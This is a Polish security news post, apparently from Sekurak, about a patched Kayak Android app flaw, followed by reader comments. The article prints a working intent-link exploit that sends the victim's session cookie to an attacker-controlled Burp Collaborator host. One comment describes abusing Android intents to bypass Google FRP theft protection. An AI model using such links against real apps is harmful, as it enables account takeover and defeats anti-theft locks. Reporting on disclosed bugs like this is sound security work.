Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly
Klikasz na telefonie w linka i masz przejęte konto w appce mobilnej Kayaka
Parę miesięcy temu pisaliśmy o ciekawej podatności w appce mobilnej Tiktoka, a teraz świeżo załatana podatność w appce serwisu Kayak.
Idąc od końca – wystarczyło podrzucić ofierze linka do strony, na której hostowany był tego typu exploicik (specyficznie przygotowany link):
<!DOCTYPE html> <html> <body> <a id=”exploit” href=”jakis_intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end”>Exploit</a>; </body> </html>
Jeśli użytkownik posiadający podatną wersję appki Kayak kliknął tego linka (w zwykłej przeglądarce mobilnej), tracił dostęp do konta (tj. na widoczny wyżej serwer atakującego trafiało ciasteczko sesyjne ofiary).
Od strony technicznej problem występował w obsłudze mechanizmu tzw. deep linków (dzięki niemu można podlinkować z zewnątrz otwarcie danej appki na telefonie, czy danej funkcji w appce na telefonie). W przypadku podatnej appki wyglądało to jak na listingu poniżej (BROWSABLE oznacza, że deep linka można odpalić z przeglądarki na telefonie):
<activity android:name=”com.kayak.android.web.ExternalAuthLoginActivity” android:exported=”true” android:launchMode=”singleTask”>
<intent-filter>
<data android:scheme=”kayak”/>
<data android:host=”externalAuthentication”/>
<action android:name=”android.intent.action.VIEW”/>
<category android:name=”android.intent.category.DEFAULT”/>
<category android:name=”android.intent.category.BROWSABLE”/>
</intent-filter> </activity>
Dalej, okazało się że w deep linku (i tutaj występuje istota podatności) można podać adres serwera, do którego appka była przekierowywana. Całość w parametrze EXTRA_REDIRECT_URL, który możecie dostrzec w exploiciku na górze naszego postu.
Appka była przekierowywana do adresu wskazanego w tym parametrze (tj. do serwera atakującego) i dodawała do żądania HTTP (w parametrze GET) wartość ciasteczka sesyjnego użytkownika (ten mechanizm zakodowali dzielnie programiści appki Kayaka). Teraz wystarczyło użyć ciasteczka np. w Burpie – i atakujący miał dostęp do konta ofiary. Badacz za zgłoszenie problemu otrzymał $3000.
Sam proces exploitacji na filmiku poniżej:
~ms
takie rzeczy tylko w androidzie… czy w IOS też się zdarzają?
@adikkk
Ależ nikt nie neguje tego, że nietechniczni i nieuważni użytkownicy powinni używać iOS, żeby ograniczyć możliwość zrobienia sobie krzywdy. Do Androida potrzeba jednak więcej inteligencji i samokontroli.
W iOS jest jeszcze lepiej: https://www.wired.co.uk/article/vastflux-ad-fraud o notorycznych zero clickach nie trzeba przypominac.
Nie ma znaczenia system. Jeżeli aplikacja jest kiepsko/błędnie napisana to zadziała bez znaczenia, czy to Android, czy iOS. Tutaj akurat błąd tkwi w błędnej implementacji ciasteczek sesyjnych w aplikacji i zbiega się z funkcjonalnością otwierania danych linków w konkretnej aplikacji.
Oczywiście od Androida 12 i w górę można zarządzać tym mechanizmem per aplikacja w sekcji „Otwieraj domyślnie”. Wystarczy przełączyć wtedy suwaczek „Otwieraj obsługiwane linki” na „OFF”. Jest tam również lista obsługiwanych linków, którą można modyfikować.
Problem w tym, że to nie załata błędu w samej aplikacji, a jedynie zablokuje możliwość przekazywania linków z zewnętrznej aplikacji/przeglądarki.
Faktem jest. że integracja JS w przeglądarce z możliwością otwierania Android Intent jest słabo przemyślana. Przed nadużyciami chroni tylko proces, który działa sobie w tle i filtruje, co może być wywołane, a co nie.
Ten schemat/mechanizm jest często nadużywany przy ściąganiu zabezpieczenia Google FRP, aby wywołać ustawienia systemu, a następnie dalszymi krokami oszukać mechanizm i zdjąć flagę „frp”.
Przykładowo kliknięcie w linku w:
intent://com.android.settings/#Intent;scheme=android-app;end
.. otworzy ustawienia systemu Android.
W iOS masz AppleID i powiązane jest to z hardware i koniec. W Androidzie informacja o blokadzie Google FRP jest tylko na jednej z partycji + flaga w „first setup”, obie rzeczy można oszukać przy pomocy boxa/exploita na procesor/testpointa lub właśnie poprzez wykorzystanie błędów w Android Intent.